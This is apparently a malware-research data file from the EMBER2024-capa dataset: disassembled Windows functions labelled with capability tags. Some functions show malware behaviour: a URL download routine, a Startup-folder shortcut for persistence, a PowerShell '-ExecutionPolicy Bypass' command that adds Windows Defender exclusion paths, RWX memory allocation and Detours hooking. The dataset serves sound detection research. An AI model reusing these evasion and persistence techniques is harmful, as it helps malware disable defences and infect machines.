joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800c5940
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r14
sub rsp, 0x250
mov rax, qword [0x180142040]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov eax, dword [rcx + 0x58]
lea rbx, [rsp + 0x30]
mov dword [rsp + 0x40], eax
mov ebp, r9d
mov eax, dword [rcx + 0x5c]
mov rsi, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x290]
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x3c], r8d
mov dword [rsp + 0x30], r9d
mov qword [rsp + 0x278], rdi
nop dword [rax]
mov r10d, dword [rbx + 0x14]
mov eax, r10d
mov r14d, dword [rbx + 4]
cmp r10d, r14d
mov r9d, dword [rbx + 0xc]
cmovg eax, r14d
cmp r9d, eax
jl 0x1800c5adc
cmp r10d, r14d
mov eax, r14d
cmovg eax, r10d
cmp r9d, eax
jg 0x1800c5adc
cmp r10d, r14d
jne 0x1800c59e0
sub rbx, 0x10
jmp 0x1800c5b24
mov edx, dword [rsi + 0x88]
xor r9d, r9d
cmp r10d, r14d
setge r9b
inc r9d
cmp edx, r9d
je 0x1800c5a52
mov eax, dword [rsi + 4]
mov ecx, eax
mov r8d, dword [rsi + 8]
neg ecx
cmp r10d, r14d
jge 0x1800c5a14
dec eax
add eax, r10d
and eax, ecx
sub eax, r10d
jmp 0x1800c5a1c
and ecx, r10d
mov eax, r10d
sub eax, ecx
cmp eax, r8d
setge r11b
test edx, edx
je 0x1800c5a3b
movzx edx, r11b
mov rcx, rsi
call fcn.1800c6a10
test al, al
jne 0x1800c5b35
movzx r8d, r11b
mov edx, r9d
mov rcx, rsi
call fcn.1800c7130
test al, al
jne 0x1800c5b35
mov edx, dword [rsi + 0x64]
lea r9, [0x1800c7490]
mov ecx, dword [rsi + 0x60]
mov r8, rbx
cmp r10d, r14d
jge 0x1800c5a7e
mov dword [rsp + 0x28], edx
mov edx, 2
mov dword [rsp + 0x20], ecx
mov rcx, rsi
call fcn.1800c57c0
jmp 0x1800c5ad2
mov eax, dword [rbx + 4]
neg ecx
movzx edi, byte [rsi + 0x6a]
neg eax
mov dword [rbx + 4], eax
neg edx
mov eax, dword [rbx + 0xc]
neg eax
mov dword [rsp + 0x28], ecx
mov dword [rbx + 0xc], eax
mov rcx, rsi
mov eax, dword [rbx + 0x14]
neg eax
mov dword [rsp + 0x20], edx
mov edx, 2
mov dword [rbx + 0x14], eax
call fcn.1800c57c0
test dil, dil
je 0x1800c5aca
cmp byte [rsi + 0x6a], 0
jne 0x1800c5aca
mov rdx, qword [rsi + 0x70]
mov ecx, dword [rdx + 0x20]
neg ecx
mov dword [rdx + 0x20], ecx
mov ecx, dword [rbx + 4]
neg ecx
mov dword [rbx + 4], ecx
test al, al
jne 0x1800c5b35
sub rbx, 0x10
jmp 0x1800c5b24
mov eax, dword [rbx + 8]
mov ecx, dword [rbx + 0x10]
mov dword [rbx + 0x20], ecx
add ecx, eax
mov dword [rbx + 0x24], r10d
lea edx, [rax + rbp]
mov eax, ecx
sar eax, 1
mov dword [rbx + 0x18], eax
lea eax, [rcx + rdx]
sar eax, 2
lea ecx, [r10 + r9]
mov dword [rbx + 0x10], eax
mov eax, ecx
sar edx, 1
sar eax, 1
mov dword [rbx + 8], edx
lea edx, [r14 + r9]
mov dword [rbx + 0x1c], eax
lea eax, [rcx + rdx]
sar eax, 2
sar edx, 1
mov dword [rbx + 0x14], eax
mov dword [rbx + 0xc], edx
add rbx, 0x10
lea rax, [rsp + 0x30]
cmp rbx, rax
jb 0x1800c5b39
mov ebp, dword [rbx]
jmp 0x1800c59a0
mov al, 1
jmp 0x1800c5b42
mov dword [rsi + 0x58], ebp
xor al, al
mov dword [rsi + 0x5c], r14d
mov rdi, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1800d14a0
mov rbx, qword [rsp + 0x280]
add rsp, 0x250
pop r14
pop rsi
pop rbp
ret
Function at 0x1800c5b70
Capabilities:
Encrypt data using rc4 prga
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rax, qword [rcx + 0x20]
xor r14d, r14d
sub rax, 0x34
mov qword [rcx + 0x78], r14
mov qword [rcx + 0x28], rax
mov ebp, edx
mov rax, qword [rcx + 0x30]
mov rbx, rcx
mov word [rcx + 0x6a], r14w
mov esi, r14d
mov dword [rcx + 0x3c], r14d
mov qword [rcx + 0x70], rax
mov qword [rax + 0x10], rax
mov word [rcx + 0x68], r14w
cmp r14w, word [rcx + 0xb8]
jge 0x1800c5cbb
movzx r10d, r14w
mov edi, r14d
mov rax, qword [rbx + 0xd0]
mov r9d, ebp
mov dword [rbx + 0x88], r14d
movzx edx, r10w
mov qword [rbx + 0x80], r14
mov rcx, rbx
movzx r8d, word [rdi + rax]
call fcn.1800c6050
test al, al
jne 0x1800c5d56
mov rax, qword [rbx + 0xd0]
mov r8d, dword [rbx + 4]
mov edx, dword [rbx + 0x5c]
movzx r10d, word [rdi + rax]
lea eax, [r8 - 1]
test edx, eax
jne 0x1800c5c4b
cmp edx, dword [rbx + 0x60]
jl 0x1800c5c4b
cmp edx, dword [rbx + 0x64]
jg 0x1800c5c4b
mov rcx, qword [rbx + 0x80]
test rcx, rcx
je 0x1800c5c4b
mov rax, qword [rbx + 0x70]
movzx ecx, byte [rcx + 0x18]
xor cl, byte [rax + 0x18]
test cl, 8
jne 0x1800c5c4b
add qword [rbx + 0x30], 0xfffffffffffffffc
mov r9, qword [rbx + 0x70]
mov rax, qword [r9 + 0x10]
cmp qword [rbx + 0x30], rax
je 0x1800c5c6e
test byte [r9 + 0x18], 8
je 0x1800c5c6e
neg r8d
and r8d, edx
sub edx, r8d
cmp edx, dword [rbx + 8]
jmp 0x1800c5c7f
lea eax, [r8 - 1]
neg r8d
add eax, edx
and eax, r8d
sub eax, edx
cmp eax, dword [rbx + 8]
setge dl
mov rcx, rbx
call fcn.1800c6a10
test al, al
jne 0x1800c5d56
mov rax, qword [rbx + 0x80]
test rax, rax
je 0x1800c5ca2
mov qword [r9 + 0x28], rax
movsx eax, word [rbx + 0xb8]
inc esi
add rdi, 2
inc r10w
cmp esi, eax
jl 0x1800c5bd4
movzx edi, word [rbx + 0x68]
mov rdx, qword [rbx + 0x78]
cmp di, 1
jbe 0x1800c5d5a
test rdx, rdx
je 0x1800c5d5a
mov ebp, 0xffff
nop dword [rax + rax]
lea rsi, [rdx + 8]
cmp di, 1
jbe 0x1800c5cf8
movsxd rcx, dword [rdx + 0x1c]
mov rax, qword [rdx + 0x10]
lea r10, [rax + rcx*4]
jmp 0x1800c5cfb
mov r10, r14
mov qword [rsi], r10
test byte [rdx + 0x18], 8
mov r11d, dword [rdx + 0x20]
mov r8d, r11d
mov eax, dword [rdx + 0x1c]
je 0x1800c5d16
dec r11d
add r11d, eax
jmp 0x1800c5d2d
sub r8d, eax
inc r8d
dec eax
mov dword [rdx + 0x20], r8d
movsxd rcx, eax
shl rcx, 2
add qword [rdx + 0x10], rcx
mov edx, r8d
mov rcx, rbx
call fcn.1800c6d20
test al, al
jne 0x1800c5d56
lea edx, [r11 + 1]
mov rcx, rbx
call fcn.1800c6d20
test al, al
jne 0x1800c5d56
mov rdx, qword [rsi]
add di, bp
jne 0x1800c5ce0
jmp 0x1800c5d5e
mov al, 1
jmp 0x1800c5d69
mov qword [rbx + 0x78], r14
mov rax, qword [rbx + 0x28]
cmp qword [rbx + 0x30], rax
setae al
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1800cbe50
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push rbx
push rbp
sub rsp, 0x48
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
jne 0x1800cbe6c
lea eax, [rcx + 0x28]
add rsp, 0x48
pop rbp
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor r9d, r9d
mov qword [rsp + 0x40], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbp
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800cbec0
mov r14, qword [rsp + 0x40]
lea eax, [rsi + 2]
mov rsi, qword [rsp + 0x68]
add rsp, 0x48
pop rbp
pop rbx
ret
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800cbfe5
mov rax, qword [rsp + 0x70]
cmp rax, 0x7fffffff
jg 0x1800cbfe5
test rax, rax
je 0x1800cbfe5
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
je 0x1800cbfe5
mov ecx, dword [rsp + 0x70]
xor r9d, r9d
mov dword [rbx + 8], ecx
xor r8d, r8d
mov rcx, rax
mov dword [rbx + 0xc], r14d
mov qword [rsp + 0x20], r14
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rdi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], r14
je 0x1800cbf5a
lea rax, [0x1800cc040]
jmp 0x1800cbfb3
mov rcx, qword [rbx + 0x30]
xor edx, edx
movsxd r8, dword [rbx + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x1800cbfe5
mov edi, r14d
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea r9, [rsp + 0x60]
mov edx, edi
sub r8d, edi
add rdx, qword [rbx]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800cbfd3
add edi, dword [rsp + 0x60]
cmp edi, dword [rbx + 8]
jne 0x1800cbf80
lea rax, [0x1800cc010]
mov rcx, rsi
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov qword [rbx + 0x10], rax
xor eax, eax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r14
jmp 0x1800cbffa
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov r8, qword [rbx]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x51
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
add rsp, 0x48
pop rbp
pop rbx
ret
Function at 0x1800cd6a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x1800cd6ab
xor eax, eax
ret
lea r11, [0x1800eff60]
not ecx
cmp r8d, 8
jb 0x1800cd781
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x1800cd6d0
test r8d, r8d
je 0x1800cd7ad
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x1800cd790
not ecx
mov eax, ecx
ret
Function at 0x1400037f0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rcx, qword [rsp + 0x68]
call fcn.140004830
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x60]
call fcn.140004830
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jne 0x14000384f
mov dword [rsp + 0x30], 1
jmp 0x140003857
mov dword [rsp + 0x30], 0
movzx eax, byte [rsp + 0x30]
add rsp, 0x58
ret
Function at 0x140003910
Capabilities:
Get common file path
Get startup folder

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x338
mov rax, qword [0x140010010]
xor rax, rsp
mov qword [rsp + 0x320], rax
mov qword [rsp + 0xc0], 0
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea r9, [0x14000c490]
mov r8d, 1
xor edx, edx
lea rcx, [0x14000c4b0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jl 0x140003b90
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x340]
call fcn.140004830
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0xc0]
call qword [rsp + 0x40]
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
lea r8, [rsp + 0xc8]
lea rdx, [0x14000c4a0]
mov rcx, qword [rsp + 0xc0]
call qword [rsp + 0x48]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jl 0x140003b7a
xor r9d, r9d
mov r8d, 7
lea rdx, [rsp + 0x110]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x140003b64
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0xf0]
call fcn.140004b60
nop
lea r8, [0x14000c734]
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0xa0]
call fcn.140006b20
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov r8, qword [rsp + 0x348]
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x80]
call fcn.140006c40
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
lea r8, str..lnk
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0xd0]
call fcn.140006bf0
nop
lea rcx, [rsp + 0x80]
call fcn.140004ab0
nop
lea rcx, [rsp + 0xa0]
call fcn.140004ab0
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0xd0]
call fcn.140004830
mov qword [rsp + 0x70], rax
mov r8d, 1
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0xc8]
call qword [rsp + 0x78]
mov dword [rsp + 0x34], eax
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc8]
call qword [rax + 0x10]
cmp dword [rsp + 0x34], 0
jl 0x140003b49
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0]
call qword [rax + 0x10]
mov byte [rsp + 0x30], 1
lea rcx, [rsp + 0xd0]
call fcn.140004ab0
nop
lea rcx, [rsp + 0xf0]
call fcn.140004ab0
movzx eax, byte [rsp + 0x30]
jmp 0x140003b92
lea rcx, [rsp + 0xd0]
call fcn.140004ab0
nop
lea rcx, [rsp + 0xf0]
call fcn.140004ab0
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc8]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0]
call qword [rax + 0x10]
xor al, al
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.140009d70
add rsp, 0x338
ret
Function at 0x140003bb0
Capabilities:
Create process on windows

Disassembly:
push rdi
sub rsp, 0x1a0
mov rax, qword [0x140010010]
xor rax, rsp
mov qword [rsp + 0x190], rax
lea rdx, [0x14000c738]
lea rcx, [rsp + 0xd8]
call fcn.140004b60
nop
lea r8, [0x140010850]
lea rdx, [0x14000c748]
lea rcx, [rsp + 0xa0]
call fcn.140006c90
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea r8, [0x14000c740]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x80]
call fcn.140006bf0
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0xd8]
call fcn.140004a80
nop
lea rcx, [rsp + 0x80]
call fcn.140004ab0
nop
lea rcx, [rsp + 0xa0]
call fcn.140004ab0
lea rdx, str._exclusions___Get_MpPreference_.ExclusionPath_
lea rcx, [rsp + 0xd8]
call fcn.140004a50
lea rdx, str.if___exclusionPath__notin__exclusions__
lea rcx, [rsp + 0xd8]
call fcn.140004a50
lea rdx, str.Add_MpPreference__ExclusionPath__exclusionPath_
lea rcx, [rsp + 0xd8]
call fcn.140004a50
lea rdx, [0x14000c73c]
lea rcx, [rsp + 0xd8]
call fcn.140004a50
lea rdx, str.powershell__ExecutionPolicy_Bypass__Command__
lea rcx, [rsp + 0xf8]
call fcn.140004b60
nop
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0xf8]
call fcn.140004a80
lea rdx, [0x14000c7d4]
lea rcx, [rsp + 0xf8]
call fcn.140004a50
lea rax, [rsp + 0x120]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x120], 0x68
mov dword [rsp + 0x15c], 1
xor eax, eax
mov word [rsp + 0x160], ax
lea rax, [rsp + 0xc0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rsp + 0xf8]
call fcn.140004830
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x120]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140003de7
lea rdx, [0x14000c7d8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140006d60
mov qword [rsp + 0x78], rax
lea rdx, [0x1400071a0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rsp + 0x50], 1
lea rcx, [rsp + 0xf8]
call fcn.140004ab0
nop
lea rcx, [rsp + 0xd8]
call fcn.140004ab0
mov eax, dword [rsp + 0x50]
jmp 0x140003e2a
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x54], 0
lea rcx, [rsp + 0xf8]
call fcn.140004ab0
nop
lea rcx, [rsp + 0xd8]
call fcn.140004ab0
mov eax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140009d70
add rsp, 0x1a0
pop rdi
ret
Function at 0x140003f10
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
call fcn.140004830
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0xffffffff
je 0x140003f41
mov dword [rsp + 0x20], 1
jmp 0x140003f49
mov dword [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140004510
Capabilities:
Accept command line arguments

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [0x140010010]
xor rax, rsp
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x30]
call fcn.1400044f0
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140009d70
add rsp, 0x48
ret

Function at 0x140009cc4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140009d48
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14000c4c0]
cmp byte [rcx + rax], 0
je 0x140009d48
dec r8
sub rdx, 1
jne 0x140009d2e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14000a874
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a8be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a8be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a8be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a8be
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a8be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000a8c0
xor al, al
add rsp, 0x28
ret
Function at 0x1800025b0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
add rdx, 0xffffffffffff0000
mov rdi, rcx
movzx eax, dx
mov rbx, rdx
sub rbx, rax
test rax, rax
cmove rbx, rdx
cmp rbx, rcx
jbe 0x180002695
nop dword [rax]
cmp rbx, qword [section..data]
jb 0x1800025fe
cmp rbx, qword [0x180067008]
ja 0x1800025fe
sub rbx, 0x8000000
jmp 0x18000268c
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov r8d, 0x30
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
je 0x180002695
cmp dword [rsp + 0x40], 0x10000
jne 0x180002670
cmp qword [rsp + 0x38], 0x10000
jb 0x180002670
mov edx, 0x10000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call sub.KERNEL32.dll_VirtualAlloc
test rax, rax
jne 0x180002697
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
je 0x180002695
sub rbx, 0x10000
jmp 0x18000268c
mov rcx, qword [rsp + 0x28]
add rcx, 0xffffffffffff0000
movzx eax, cx
mov rbx, rcx
sub rbx, rax
test rax, rax
cmove rbx, rcx
cmp rbx, rdi
ja 0x1800025e0
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret

Function at 0x1800026b0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
movzx eax, cx
mov rdi, rdx
mov rbx, rcx
test rax, rax
je 0x1800026d2
sub rbx, rax
add rbx, 0x10000
cmp rbx, rdi
jae 0x180002797
nop dword [rax + rax]
cmp rbx, qword [section..data]
jb 0x1800026fe
cmp rbx, qword [0x180067008]
ja 0x1800026fe
add rbx, 0x8000000
jmp 0x18000278e
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov r8d, 0x30
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
je 0x180002797
cmp dword [rsp + 0x40], 0x10000
mov rcx, qword [rsp + 0x38]
jne 0x180002773
cmp rcx, 0x10000
jb 0x180002773
mov edx, 0x10000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call sub.KERNEL32.dll_VirtualAlloc
test rax, rax
jne 0x180002799
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
je 0x180002797
add rbx, 0x10000
jmp 0x18000278e
mov rbx, qword [rsp + 0x20]
add rbx, rcx
movzx ecx, bx
test rcx, rcx
je 0x18000278e
mov eax, 0x10000
sub rax, rcx
add rbx, rax
cmp rbx, rdi
jb 0x1800026e0
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x1800027b0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push rbx
sub rsp, 0x20
lea rbx, [rcx - 0x7ff80000]
mov r9, rcx
cmp rcx, 0x7ff80000
ja 0x1800027ce
mov ebx, 0x80000
mov qword [rsp + 0x30], rdi
lea rdi, [rcx + 0x7ff80000]
cmp r9, 0xffffffff80000000
jb 0x1800027ea
mov rdi, 0xfffffffffff80000
movzx eax, byte [rcx]
cmp al, 0xff
jne 0x180002801
cmp byte [rcx + 1], 0x25
jne 0x180002845
movsxd rcx, dword [rcx + 2]
add rcx, 6
jmp 0x18000280d
cmp al, 0xe9
jne 0x180002845
movsxd rcx, dword [rcx + 1]
add rcx, 5
add rcx, r9
cmp rcx, r9
jae 0x180002830
cmp rcx, 0xffffffff80000000
jae 0x180002827
lea rdi, [rcx + 0x7ff80000]
jmp 0x180002845
mov rdi, 0xfffffffffff80000
jmp 0x180002845
lea rbx, [rcx - 0x7ff80000]
cmp rcx, 0x7ff80000
ja 0x180002845
mov ebx, 0x80000
mov rax, qword [0x18006a0d8]
mov rcx, qword [0x18006a0d0]
test rax, rax
jne 0x180002867
test rcx, rcx
je 0x18000287e
mov rax, rcx
mov qword [0x18006a0d8], rcx
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x18000287e
cmp rdx, rbx
jb 0x18000287e
cmp rdx, rdi
jbe 0x180002938
mov qword [0x18006a0d8], rcx
mov rax, rcx
test rcx, rcx
je 0x1800028c2
mov rdx, rcx
test rcx, rcx
je 0x1800028ac
mov rcx, qword [rdx + 0x10]
test rcx, rcx
je 0x1800028ac
cmp rcx, rbx
jb 0x1800028ac
cmp rcx, rdi
jbe 0x180002938
mov rax, qword [rax + 8]
mov qword [0x18006a0d8], rax
mov rdx, rax
mov rcx, rax
test rax, rax
jne 0x180002890
movzx eax, r9w
mov r8, rdi
sub r9, rax
mov rdx, rbx
mov rcx, r9
call fcn.180002990
test rax, rax
je 0x18000297b
mov dword [rax], 0x52727464
lea rdx, [rax + 0xffa8]
xor r8d, r8d
mov qword [0x18006a0d8], rax
mov qword [rax + 0x10], r8
mov r9d, 0x2a7
mov rcx, qword [0x18006a0d0]
mov qword [rax + 8], rcx
lea rcx, [rax + 0xff60]
